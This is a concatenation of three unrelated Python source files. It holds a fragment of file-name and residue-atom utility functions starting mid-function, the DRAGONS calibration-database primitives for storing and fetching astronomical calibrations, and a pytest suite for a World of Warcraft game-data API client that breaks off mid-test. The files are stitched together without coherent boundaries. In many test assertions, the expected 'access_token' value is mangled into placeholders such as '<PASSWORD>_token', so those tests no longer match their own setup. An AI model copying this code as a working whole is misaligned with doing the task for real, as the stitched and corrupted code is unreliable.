tail = os.path.splitext(s) return head # What is the extension of file_name? # # "a.pdb" -> "pdb" # "" -> "" # def file_name_extension(file_name): import os, string root, ext = os.path.splitext(file_name) if ext: ext = string.lstrip(ext,'.') return ext else: return "" # e.g. "a.pdb" -> "a-tmp.pdb" # def add_tmp_extension_to(file_name): import types if isinstance(file_name,types.StringTypes): root, ext = os.path.splitext(file_name) f = root + "-tmp" + ext return f else: return "tmp" # Same function as strip_extension, different name, as per scsh, in fact. # def file_name_sans_extension(s): return strip_extension(s) # /a/b.t -> b.t d/e.ext -> e.ext # file-name-sans-path def strip_path(s): import os head, tail = os.path.split(s) return tail # does s start with a "/" ? # return True or False # # for windows return True when drive letter, e.g. C, or even \\ (backslash): def slash_start_qm(s): import types import string if isinstance(s, types.StringTypes): if len(s) > 0: if (s.startswith("/") or s.startswith("\\")): return True else: if (os.name == 'nt' and len(s) > 1): # for windows check if the start is a drive letter drive_letter_ls = [dl + ':' for dl in string.ascii_uppercase] if (s[0:2] in drive_letter_ls): return True return False # return a string that contains the date/time # e.g. "2006-01-02_2216.03" # def unique_date_time_str(): import time lt = time.strftime("%Y-%m-%d_%H%M", time.localtime()) return lt # return a list that has only every-nth members; # e.g. @code{every_nth ([0,1,2,3,4,5,6,7,8],2)} -> [0,2,4,6,8] # @code{every_nth ([0,1,2,3,4,5,6,7,8],3)} -> [0,3,6] # # @var{n} must be positive # def every_nth(ls, n): elements = range(0,len(ls),n) a =[] for i in elements: a.append(ls[i]) return a # now usefull in testing # # residue_atoms must be a list # def get_atom_from_residue(atom_name, residue_atoms, alt_conf): """Get atom_info fomr a residue. residue_atoms must be a list """ if ((isinstance(residue_atoms, list)) and (residue_atoms != [])): for residue_atom in residue_atoms: if (residue_atom[0][0] == atom_name and residue_atom[0][1] == alt_conf): return residue_atom # print "BL WARNING:: no atom name %s found in residue" %atom_name return False # no residue name found fail save # return atom info or False (if atom not found). # def get_atom(imol, chain_id, resno,
<reponame>Luke-Ludwig/DRAGONS<gh_stars>1-10 # # gemini_python # # primitives_calibdb.py # ------------------------------------------------------------------------------ import os import re from importlib import import_module from gempy.gemini import gemini_tools as gt from recipe_system.cal_service.calrequestlib import get_cal_requests from recipe_system.cal_service.calrequestlib import process_cal_requests from recipe_system.cal_service.transport_request import upload_calibration from geminidr import PrimitivesBASE from . import parameters_calibdb from recipe_system.utils.decorators import parameter_override # ------------------------------------------------------------------------------ REQUIRED_TAG_DICT = {'processed_arc': ['PROCESSED', 'ARC'], 'processed_bias': ['PROCESSED', 'BIAS'], 'processed_dark': ['PROCESSED', 'DARK'], 'processed_flat': ['PROCESSED', 'FLAT'], 'processed_fringe': ['PROCESSED', 'FRINGE'], 'bpm': ['BPM'], 'sq': [], 'ql': [], 'qa': [], 'processed_standard': ['PROCESSED', 'STANDARD'], 'processed_slitillum': ['PROCESSED', 'SLITILLUM']} # ------------------------------------------------------------------------------ @parameter_override class CalibDB(PrimitivesBASE): """ Only 'storeProcessedXXX' calibration primitives have associated parameters. """ tagset = None def __init__(self, adinputs, **kwargs): super().__init__(adinputs, **kwargs) self._param_update(parameters_calibdb) self._not_found = "Calibration not found for {}" def _get_cal(self, adinput, caltype): caloutputs = [] adinputs = adinput if isinstance(adinput, list) else [adinput] for ad in adinputs: key = (ad, caltype) calib = self.calibrations[key] if not calib: caloutputs.append(None) # If the file isn't on disk, delete it from the dict # Now have to cope with calfile being a list of files else: if isinstance(calib, list): cal_found = all(os.path.isfile(calfile) for calfile in calib) else: cal_found = os.path.isfile(calib) if cal_found: caloutputs.append(calib) else: del self.calibrations[key] self.calibrations.cache_to_disk() caloutputs.append(None) return caloutputs if isinstance(adinput, list) else caloutputs[0] def _assert_calibrations(self, adinputs, caltype): for ad in adinputs: calurl = self._get_cal(ad, caltype) # from cache if not calurl and "qa" not in self.mode: raise OSError(self._not_found.format(ad.filename)) return adinputs def addCalibration(self, adinputs=None, **params): caltype = params["caltype"] calfile = params["calfile"] for ad in adinputs: self.calibrations[ad, caltype] = calfile return adinputs def getCalibration(self, adinputs=None, caltype=None, refresh=True, howmany=None): """ Uses the calibration manager to population the Calibrations dict for all frames, updating any existing entries Parameters ---------- adinputs: <list> List of ADs of files for which calibrations are needed caltype: <str> type of calibration required (e.g., "processed_bias") refresh: <bool> if False, only seek calibrations for ADs without them; otherwise request calibrations for all ADs. Default is True. howmany: <int> or <None> Maximum number of calibrations to return per AD (None means return the filename of one, rather than a list of filenames) """ log = self.log ad_rq = adinputs if refresh else [ad for ad in adinputs if not self._get_cal(ad, caltype)] cal_requests = get_cal_requests(ad_rq, caltype) calibration_records = process_cal_requests(cal_requests, howmany=howmany) for ad, calfile in calibration_records.items(): self.calibrations[ad, caltype] = calfile return adinputs def getProcessedArc(self, adinputs=None, **params): caltype = "processed_arc" self.getCalibration(adinputs, caltype=caltype, refresh=params["refresh"]) self._assert_calibrations(adinputs, caltype) return adinputs def getProcessedBias(self, adinputs=None, **params): caltype = "processed_bias" self.getCalibration(adinputs, caltype=caltype, refresh=params["refresh"]) self._assert_calibrations(adinputs, caltype) return adinputs def getProcessedDark(self, adinputs=None, **params): caltype = "processed_dark" self.getCalibration(adinputs, caltype=caltype, refresh=params["refresh"]) self._assert_calibrations(adinputs, caltype) return adinputs def getProcessedFlat(self, adinputs=None, **params): caltype = "processed_flat" self.getCalibration(adinputs, caltype=caltype, refresh=params["refresh"]) self._assert_calibrations(adinputs, caltype) return adinputs def getProcessedFringe(self, adinputs=None, **params): caltype = "processed_fringe" log = self.log self.getCalibration(adinputs, caltype=caltype, refresh=params["refresh"]) self._assert_calibrations(adinputs, caltype) return adinputs def getProcessedStandard(self, adinputs=None, **params): caltype = "processed_standard" self.getCalibration(adinputs, caltype=caltype, refresh=params["refresh"]) self._assert_calibrations(adinputs, caltype) return adinputs def getProcessedSlitIllum(self, adinputs=None, **params): caltype = "processed_slitillum" self.getCalibration(adinputs, caltype=caltype, refresh=params["refresh"]) self._assert_calibrations(adinputs, caltype) return adinputs def getMDF(self, adinputs=None): caltype = "mask" log = self.log inst_lookups = self.inst_lookups try: masks = import_module('.maskdb', inst_lookups) mdf_dict = getattr(masks, 'mdf_dict') except (ImportError, AttributeError): mdf_dict = None rqs_actual = [ad for ad in adinputs if self._get_cal(ad, caltype) is None] for ad in rqs_actual: mask_name = ad.focal_plane_mask() key = '{}_{}'.format(ad.instrument(), mask_name) if mdf_dict is not None: try: filename = mdf_dict[key] # Escape route to allow certain focal plane masks to # not require MDFs if filename is None: continue mdf = os.path.join(os.path.dirname(masks.__file__), 'MDF', filename) except KeyError: log.warning("MDF not found in {}".format(inst_lookups)) else: self.calibrations[ad, caltype] = mdf continue log.stdinfo("Requesting MDF from calibration server...") mdf_requests = get_cal_requests([ad], caltype) mdf_records = process_cal_requests(mdf_requests) for ad, calfile in mdf_records.items(): self.calibrations[ad, caltype] = calfile return adinputs # =========================== STORE PRIMITIVES ================================= def storeCalibration(self, adinputs=None, **params): """ Will write calibrations in calibrations/<cal_type>/ """ log = self.log log.debug(gt.log_message("primitive", self.myself(), "starting")) storedcals = self.cachedict["calibrations"] caltype = params["caltype"] required_tags = REQUIRED_TAG_DICT[caltype] # If we are one of the 'science' types, then we store it as science. # This changes the log messages to refer to the files as science # and ultimately routes to the upload_file web api instead of # upload_processed_cal is_science = caltype in ['sq', 'ql', 'qa'] # Create storage directory if it doesn't exist if not os.path.exists(os.path.join(storedcals, caltype)): os.makedirs(os.path.join(storedcals, caltype)) for ad in adinputs: if not ad.tags.issuperset(required_tags): log.warning("File {} is not recognized as a {}. Not storing as" " {}.".format(ad.filename, caltype, "science" if is_science else "a calibration")) continue fname = os.path.join(storedcals, caltype, os.path.basename(ad.filename)) ad.write(fname, overwrite=True) log.stdinfo("{} stored as {}".format("Science" if is_science else "Calibration", fname)) if self.upload and ((is_science and 'science' in self.upload) or \ (not is_science and 'calibs' in self.upload)): try: upload_calibration(fname, is_science=is_science) except: log.warning("Unable to upload file to {} system" .format("science" if is_science else "calibration")) else: msg = "File {} uploaded to fitsstore." log.stdinfo(msg.format(os.path.basename(ad.filename))) return adinputs def _markAsCalibration(self, adinputs=None, suffix=None, update_datalab=True, primname=None, keyword=None): """ Updates filenames, datalabels (if asked) and adds header keyword prior to storing AD objects as calibrations """ for ad in adinputs: if suffix: ad.update_filename(suffix=suffix, strip=True) if update_datalab: _update_datalab(ad, suffix, self.keyword_comments) gt.mark_history(adinput=ad, primname=primname, keyword=keyword) return adinputs def storeProcessedArc(self, adinputs=None, suffix=None, force=False): caltype = 'processed_arc' self.log.debug(gt.log_message("primitive", self.myself(), "starting")) if force: adinputs = gt.convert_to_cal_header(adinput=adinputs, caltype="arc", keyword_comments=self.keyword_comments) adinputs = self._markAsCalibration(adinputs, suffix=suffix, primname=self.myself(), keyword="PROCARC") self.storeCalibration(adinputs, caltype=caltype) return adinputs def storeProcessedBias(self, adinputs=None, suffix=None, force=False): caltype = 'processed_bias' self.log.debug(gt.log_message("primitive", self.myself(), "starting")) if force: adinputs = gt.convert_to_cal_header(adinput=adinputs, caltype="bias", keyword_comments=self.keyword_comments) adinputs = self._markAsCalibration(adinputs, suffix=suffix, primname=self.myself(), keyword="PROCBIAS") self.storeCalibration(adinputs, caltype=caltype) return adinputs def storeBPM(self, adinputs=None, suffix=None): caltype = 'bpm' self.log.debug(gt.log_message("primitive", self.myself(), "starting")) adinputs = gt.convert_to_cal_header(adinput=adinputs, caltype="bpm", keyword_comments=self.keyword_comments) adinputs = self._markAsCalibration(adinputs, suffix=suffix, primname=self.myself(), update_datalab=False, keyword="BPM") self.storeCalibration(adinputs, caltype=caltype) return adinputs def storeProcessedDark(self, adinputs=None, suffix=None, force=False): caltype = 'processed_dark' self.log.debug(gt.log_message("primitive", self.myself(), "starting")) if force: adinputs = gt.convert_to_cal_header(adinput=adinputs, caltype="dark", keyword_comments=self.keyword_comments) adinputs = self._markAsCalibration(adinputs, suffix=suffix, primname=self.myself(), keyword="PROCDARK") self.storeCalibration(adinputs, caltype=caltype) return adinputs def storeProcessedFlat(self, adinputs=None, suffix=None, force=False): caltype = 'processed_flat' self.log.debug(gt.log_message("primitive", self.myself(), "starting")) if force: adinputs = gt.convert_to_cal_header(adinput=adinputs, caltype="flat", keyword_comments=self.keyword_comments) adinputs = self._markAsCalibration(adinputs, suffix=suffix, primname=self.myself(), keyword="PROCFLAT") self.storeCalibration(adinputs, caltype=caltype) return adinputs def storeProcessedFringe(self, adinputs=None, suffix=None): caltype = 'processed_fringe' self.log.debug(gt.log_message("primitive", self.myself(), "starting")) # We only need to do this if we're uploading to the archive so the OBSTYPE # is set to FRINGE and OBSID, etc., are obscured. The frame will be tagged # as FRINGE and available locally. if self.upload and 'calibs' in self.upload: adinputs = gt.convert_to_cal_header(adinput=adinputs, caltype="fringe", keyword_comments=self.keyword_comments) adinputs = self._markAsCalibration(adinputs, suffix=suffix, primname=self.myself(), keyword="PROCFRNG", update_datalab=False) self.storeCalibration(adinputs, caltype=caltype) return adinputs def storeProcessedScience(self, adinputs=None): if self.mode not in ['sq', 'ql', 'qa']: self.log.warning('Mode %s not recognized in storeScience, not saving anything' % self.mode) elif self.mode != 'qa' and self.upload and 'science' in self.upload: # save filenames so we can restore them after filenames = [ad.filename for ad in adinputs] for ad in adinputs: ad.phu.set('PROCSCI', self.mode) ad.update_filename(suffix="_%s" % self.mode) ad.write(overwrite=True) try: upload_calibration(ad.filename, is_science=True) except: self.log.warning("Unable to upload file to science system") else: msg = "File {} uploaded to fitsstore." self.log.stdinfo(msg.format(os.path.basename(ad.filename))) # restore filenames, we don't want the _sq or _ql on the local filesystem copy for filename, ad in zip(filenames, adinputs): oldfilename = ad.filename ad.filename = filename if oldfilename != filename: os.unlink(oldfilename) return adinputs def storeProcessedStandard(self, adinputs=None, suffix=None): caltype = 'processed_standard' self.log.debug(gt.log_message("primitive", self.myself(), "starting")) adoutputs = list() for ad in adinputs: passes = all(hasattr(ext, 'SENSFUNC') for ext in ad) # if all of the extensions on this ad have a sensfunc attribute: if passes: procstdads = self._markAsCalibration([ad], suffix=suffix, primname=self.myself(), keyword="PROCSTND") adoutputs.extend(procstdads) else: adoutputs.append(ad) self.storeCalibration(adinputs, caltype=caltype) return adoutputs def storeProcessedSlitIllum(self, adinputs=None, suffix=None): """ Stores the Processed Slit Illumination file. Parameters ---------- adinputs : list of AstroData Data that contain the Slit Illumination Response Function. suffix : str Suffix to be added to each of the input files. Returns ------- list of AstroData : the input data is simply forwarded. """ caltype = 'processed_slitillum' self.log.debug(gt.log_message("primitive", self.myself(), "starting")) adoutputs = list() for ad in adinputs: passes = 'MAKESILL' in ad.phu if passes: procstdads = self._markAsCalibration([ad], suffix=suffix, primname=self.myself(), keyword="PROCILLM") adoutputs.extend(procstdads) else: adoutputs.append(ad) self.storeCalibration(adinputs, caltype=caltype) return adoutputs ################## def _update_datalab(ad, suffix, keyword_comments_lut): # Update the DATALAB. It should end with 'suffix'. DATALAB will # likely already have '_stack' suffix that needs to be replaced. datalab = ad.data_label() new_datalab = re.sub(r'_[a-zA-Z]+$',
<gh_stars>1-10 from blizzardapi import BlizzardApi class TestWowGameDataApi: def setup(self): self.api = BlizzardApi("client_id", "client_secret") self.api.wow.game_data._access_token = "access_token" # Achievement API def test_get_achievement_categories_index(self, success_response_mock): self.api.wow.game_data.get_achievement_categories_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/achievement-category/index", params=params, ) def test_get_achievement_category(self, success_response_mock): self.api.wow.game_data.get_achievement_category("us", "en_US", 81) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/achievement-category/81", params=params, ) def test_get_achievements_index(self, success_response_mock): self.api.wow.game_data.get_achievements_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/achievement/index", params=params, ) def test_get_achievement(self, success_response_mock): self.api.wow.game_data.get_achievement("us", "en_US", 6) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/achievement/6", params=params ) def test_get_achievement_media(self, success_response_mock): self.api.wow.game_data.get_achievement_media("us", "en_US", 6) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/achievement/6", params=params, ) # Auction House API def test_get_auction_house_index(self, success_response_mock): self.api.wow.game_data.get_auction_house_index("us", "en_US", 4372) params = { "namespace": "dynamic-classic-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/connected-realm/4372/auctions/index", params=params, ) def test_get_auctions_for_auction_house(self, success_response_mock): self.api.wow.game_data.get_auctions_for_auction_house("us", "en_US", 4372, 2) params = { "namespace": "dynamic-classic-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/connected-realm/4372/auctions/2", params=params, ) def test_get_auctions(self, success_response_mock): self.api.wow.game_data.get_auctions("us", "en_US", 1146) params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/connected-realm/1146/auctions", params=params, ) # Azerite Essence API def test_get_azerite_essences_index(self, success_response_mock): self.api.wow.game_data.get_azerite_essences_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/azerite-essence/index", params=params, ) def test_get_azerite_essence(self, success_response_mock): self.api.wow.game_data.get_azerite_essence("us", "en_US", 2) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/azerite-essence/2", params=params, ) def test_get_azerite_essence_media(self, success_response_mock): self.api.wow.game_data.get_azerite_essence_media("us", "en_US", 2) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/azerite-essence/2", params=params, ) # Connected Realm API def test_get_connected_realms_index(self, success_response_mock): self.api.wow.game_data.get_connected_realms_index("us", "en_US") params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/connected-realm/index", params=params, ) def test_get_connected_realm(self, success_response_mock): self.api.wow.game_data.get_connected_realm("us", "en_US", 1) params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/connected-realm/1", params=params, ) # Creature API def test_get_creature_families_index(self, success_response_mock): self.api.wow.game_data.get_creature_families_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/creature-family/index", params=params, ) def test_get_creature_family(self, success_response_mock): self.api.wow.game_data.get_creature_family("us", "en_US", 1) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/creature-family/1", params=params, ) def test_get_creature_types_index(self, success_response_mock): self.api.wow.game_data.get_creature_types_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/creature-type/index", params=params, ) def test_get_creature_type(self, success_response_mock): self.api.wow.game_data.get_creature_type("us", "en_US", 1) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/creature-type/1", params=params, ) def test_get_creature(self, success_response_mock): self.api.wow.game_data.get_creature("us", "en_US", 1) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/creature/1", params=params ) def test_get_creature_display_media(self, success_response_mock): self.api.wow.game_data.get_creature_display_media("us", "en_US", 1) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/creature-display/1", params=params, ) def test_get_creature_family_media(self, success_response_mock): self.api.wow.game_data.get_creature_family_media("us", "en_US", 1) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/creature-family/1", params=params, ) # Guild Crest API def test_get_guild_crest_components_index(self, success_response_mock): self.api.wow.game_data.get_guild_crest_components_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/guild-crest/index", params=params, ) def test_get_guild_crest_border_media(self, success_response_mock): self.api.wow.game_data.get_guild_crest_border_media("us", "en_US", 0) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/guild-crest/border/0", params=params, ) def test_get_guild_crest_emblem_media(self, success_response_mock): self.api.wow.game_data.get_guild_crest_emblem_media("us", "en_US", 0) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/guild-crest/emblem/0", params=params, ) # Item API def test_get_item_classes_index(self, success_response_mock): self.api.wow.game_data.get_item_classes_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/item-class/index", params=params, ) def test_get_item_class(self, success_response_mock): self.api.wow.game_data.get_item_class("us", "en_US", 2) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/item-class/2", params=params ) def test_get_item_sets_index(self, success_response_mock): self.api.wow.game_data.get_item_sets_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/item-set/index", params=params, ) def test_get_item_set(self, success_response_mock): self.api.wow.game_data.get_item_set("us", "en_US", 1) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/item-set/1", params=params ) def test_get_item_subclass(self, success_response_mock): self.api.wow.game_data.get_item_subclass("us", "en_US", 2, 1) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/item-class/2/item-subclass/1", params=params, ) def test_get_item(self, success_response_mock): self.api.wow.game_data.get_item("us", "en_US", 9999) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/item/9999", params=params ) def test_get_item_media(self, success_response_mock): self.api.wow.game_data.get_item_media("us", "en_US", 9999) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/item/9999", params=params, ) # Journal API def test_get_journal_expansions_index(self, success_response_mock): self.api.wow.game_data.get_journal_expansions_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/journal-expansion/index", params=params, ) def test_get_journal_expansion(self, success_response_mock): self.api.wow.game_data.get_journal_expansion("us", "en_US", 68) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/journal-expansion/68", params=params, ) def test_get_journal_encounters_index(self, success_response_mock): self.api.wow.game_data.get_journal_encounters_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/journal-encounter/index", params=params, ) def test_get_journal_encounter(self, success_response_mock): self.api.wow.game_data.get_journal_encounter("us", "en_US", 89) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/journal-encounter/89", params=params, ) def test_get_journal_instances_index(self, success_response_mock): self.api.wow.game_data.get_journal_instances_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/journal-instance/index", params=params, ) def test_get_journal_instance(self, success_response_mock): self.api.wow.game_data.get_journal_instance("us", "en_US", 63) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/journal-instance/63", params=params, ) def test_get_journal_instance_media(self, success_response_mock): self.api.wow.game_data.get_journal_instance_media("us", "en_US", 63) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/journal-instance/63", params=params, ) # Modified Crafting API def test_get_modified_crafting_index(self, success_response_mock): self.api.wow.game_data.get_modified_crafting_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/modified-crafting/index", params=params, ) def test_get_modified_crafting_category_index(self, success_response_mock): self.api.wow.game_data.get_modified_crafting_category_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/modified-crafting/category/index", params=params, ) def test_get_modified_crafting_category(self, success_response_mock): self.api.wow.game_data.get_modified_crafting_category("us", "en_US", 1) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/modified-crafting/category/1", params=params, ) def test_get_modified_crafting_reagent_slot_type_index(self, success_response_mock): self.api.wow.game_data.get_modified_crafting_reagent_slot_type_index( "us", "en_US" ) params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/modified-crafting/reagent-slot-type/index", params=params, ) def test_get_modified_crafting_reagent_slot_type(self, success_response_mock): self.api.wow.game_data.get_modified_crafting_reagent_slot_type( "us", "en_US", 16 ) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/modified-crafting/reagent-slot-type/16", params=params, ) # Mount API def test_get_mounts_index(self, success_response_mock): self.api.wow.game_data.get_mounts_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/mount/index", params=params ) def test_get_mount(self, success_response_mock): self.api.wow.game_data.get_mount("us", "en_US", 6) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/mount/6", params=params ) # Mythic Keystone Affix API def test_get_mythic_keystone_affixes_index(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_affixes_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/keystone-affix/index", params=params, ) def test_get_mythic_keystone_affix(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_affix("us", "en_US", 3) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/keystone-affix/3", params=params, ) def test_get_mythic_keystone_affix_media(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_affix_media("us", "en_US", 1) params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>_<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/media/keystone-affix/1", params=params, ) # Mythic Keystone Dungeon API def test_get_mythic_keystone_dungeons_index(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_dungeons_index("us", "en_US") params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/mythic-keystone/dungeon/index", params=params, ) def test_get_mythic_keystone_dungeon(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_dungeon("us", "en_US", 5) params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/mythic-keystone/dungeon/5", params=params, ) def test_get_mythic_keystone_index(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_index("us", "en_US") params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/mythic-keystone/index", params=params, ) def test_get_mythic_keystone_periods_index(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_periods_index("us", "en_US") params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/mythic-keystone/period/index", params=params, ) def test_get_mythic_keystone_period(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_period("us", "en_US", 641) params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/mythic-keystone/period/641", params=params, ) def test_get_mythic_keystone_seasons_index(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_seasons_index("us", "en_US") params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "<PASSWORD>_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/mythic-keystone/season/index", params=params, ) def test_get_mythic_keystone_season(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_season("us", "en_US", 1) params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/mythic-keystone/season/1", params=params, ) # Mythic Keystone Leaderboard API def test_get_mythic_keystone_leaderboards_index(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_leaderboards_index("us", "en_US", 1) params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/connected-realm/1/mythic-leaderboard/index", params=params, ) def test_get_mythic_keystone_leaderboard(self, success_response_mock): self.api.wow.game_data.get_mythic_keystone_leaderboard("us", "en_US", 1, 2, 3) params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/connected-realm/1/mythic-leaderboard/2/period/3", params=params, ) # Mythic Raid Leaderboard API def test_get_mythic_raid_leaderboard(self, success_response_mock): self.api.wow.game_data.get_mythic_raid_leaderboard( "us", "en_US", "uldir", "horde" ) params = { "namespace": "dynamic-us", "locale": "en_US", "access_token": "access_token", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/leaderboard/hall-of-fame/uldir/horde", params=params, ) # Pet API def test_get_pets_index(self, success_response_mock): self.api.wow.game_data.get_pets_index("us", "en_US") params = { "namespace": "static-us", "locale": "en_US", "access_token": "<PASSWORD>", } success_response_mock.assert_called_with( "https://us.api.blizzard.com/data/wow/pet/index", params=params ) def test_get_pet(self, success_response_mock): self.api.wow.game_data.get_pet("us", "en_US", 39) params = { "namespace": 